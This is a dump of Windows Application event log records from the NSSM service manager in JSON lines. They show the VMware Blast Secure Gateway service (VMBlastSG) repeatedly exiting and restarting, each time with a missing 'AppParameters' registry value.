{"@timestamp":1646811132105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165543}}
{"@timestamp":1646811132106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165544}}
{"@timestamp":1646811132107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165545}}
{"@timestamp":1646811260611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165546}}
{"@timestamp":1646811260612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165547}}
{"@timestamp":1646811260612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162684","0"]}}},"module":"Application","provider":"nssm","sequence":165548}}
{"@timestamp":1646811260613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162684","162684","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165549}}
{"@timestamp":1646811260630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165550}}
{"@timestamp":1646811260631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165551}}
{"@timestamp":1646811260631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165552}}
{"@timestamp":1646811260632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165553}}
{"@timestamp":1646811389189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165554}}
{"@timestamp":1646811389190,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165555}}
{"@timestamp":1646811389190,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161200","0"]}}},"module":"Application","provider":"nssm","sequence":165556}}
{"@timestamp":1646811389191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161200","161200","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165557}}
{"@timestamp":1646811389215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165558}}
{"@timestamp":1646811389216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165559}}
{"@timestamp":1646811389216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165560}}
{"@timestamp":1646811389217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165561}}
{"@timestamp":1646811517716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165562}}
{"@timestamp":1646811517718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165563}}
{"@timestamp":1646811517719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158828","0"]}}},"module":"Application","provider":"nssm","sequence":165564}}
{"@timestamp":1646811517720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158828","158828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165565}}
{"@timestamp":1646811517736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165566}}
{"@timestamp":1646811517737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165567}}
{"@timestamp":1646811517738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165568}}
{"@timestamp":1646811517739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165569}}
{"@timestamp":1646811646218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165570}}
{"@timestamp":1646811646218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165571}}
{"@timestamp":1646811646219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157812","0"]}}},"module":"Application","provider":"nssm","sequence":165572}}
{"@timestamp":1646811646220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157812","157812","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165573}}
{"@timestamp":1646811646240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165574}}
{"@timestamp":1646811646240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165575}}
{"@timestamp":1646811646241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165576}}
{"@timestamp":1646811646241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165577}}
{"@timestamp":1646811774746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165578}}
{"@timestamp":1646811774747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165579}}
{"@timestamp":1646811774747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158916","0"]}}},"module":"Application","provider":"nssm","sequence":165580}}
{"@timestamp":1646811774747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158916","158916","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165581}}
{"@timestamp":1646811774764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165582}}
{"@timestamp":1646811774764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165583}}
{"@timestamp":1646811774765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165584}}
{"@timestamp":1646811774766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165585}}
{"@timestamp":1646811903259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165586}}
{"@timestamp":1646811903261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165587}}
{"@timestamp":1646811903262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155080","0"]}}},"module":"Application","provider":"nssm","sequence":165588}}
{"@timestamp":1646811903262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155080","155080","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165589}}
{"@timestamp":1646811903281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165590}}
{"@timestamp":1646811903282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165591}}
{"@timestamp":1646811903282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165592}}
{"@timestamp":1646811903283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165593}}
{"@timestamp":1646812031776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165594}}
{"@timestamp":1646812031777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165595}}
{"@timestamp":1646812031778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162388","0"]}}},"module":"Application","provider":"nssm","sequence":165596}}
{"@timestamp":1646812031779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162388","162388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165597}}
{"@timestamp":1646812031797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165598}}
{"@timestamp":1646812031798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165599}}
{"@timestamp":1646812031798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165600}}
{"@timestamp":1646812031799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165601}}
{"@timestamp":1646812160289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165602}}
{"@timestamp":1646812160289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165603}}
{"@timestamp":1646812160290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162296","0"]}}},"module":"Application","provider":"nssm","sequence":165604}}
{"@timestamp":1646812160293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162296","162296","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165605}}
{"@timestamp":1646812160310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165606}}
{"@timestamp":1646812160311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165607}}
{"@timestamp":1646812160311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165608}}
{"@timestamp":1646812160312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165609}}
{"@timestamp":1646812288784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165610}}
{"@timestamp":1646812288785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165611}}
{"@timestamp":1646812288786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161656","0"]}}},"module":"Application","provider":"nssm","sequence":165612}}
{"@timestamp":1646812288786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161656","161656","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165613}}
{"@timestamp":1646812288804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165614}}
{"@timestamp":1646812288805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165615}}
{"@timestamp":1646812288805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165616}}
{"@timestamp":1646812288807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165617}}
{"@timestamp":1646812417279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165618}}
{"@timestamp":1646812417280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165619}}
{"@timestamp":1646812417280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162216","0"]}}},"module":"Application","provider":"nssm","sequence":165620}}
{"@timestamp":1646812417281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162216","162216","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165621}}
{"@timestamp":1646812417298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165622}}
{"@timestamp":1646812417298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165623}}
{"@timestamp":1646812417299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165624}}
{"@timestamp":1646812417300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165625}}
{"@timestamp":1646812545838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165626}}
{"@timestamp":1646812545839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165627}}
{"@timestamp":1646812545852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159016","0"]}}},"module":"Application","provider":"nssm","sequence":165628}}
{"@timestamp":1646812545853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159016","159016","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165629}}
{"@timestamp":1646812545873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165630}}
{"@timestamp":1646812545874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165631}}
{"@timestamp":1646812545874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165632}}
{"@timestamp":1646812545875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165633}}
{"@timestamp":1646812674339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165634}}
{"@timestamp":1646812674340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165635}}
{"@timestamp":1646812674341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161956","0"]}}},"module":"Application","provider":"nssm","sequence":165636}}
{"@timestamp":1646812674341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161956","161956","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165637}}
{"@timestamp":1646812674359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165638}}
{"@timestamp":1646812674360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165639}}
{"@timestamp":1646812674360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165640}}
{"@timestamp":1646812674361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165641}}
{"@timestamp":1646812802865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165642}}
{"@timestamp":1646812802866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165643}}
{"@timestamp":1646812802868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162364","0"]}}},"module":"Application","provider":"nssm","sequence":165644}}
{"@timestamp":1646812802868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162364","162364","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165645}}
{"@timestamp":1646812802889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165646}}
{"@timestamp":1646812802889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165647}}
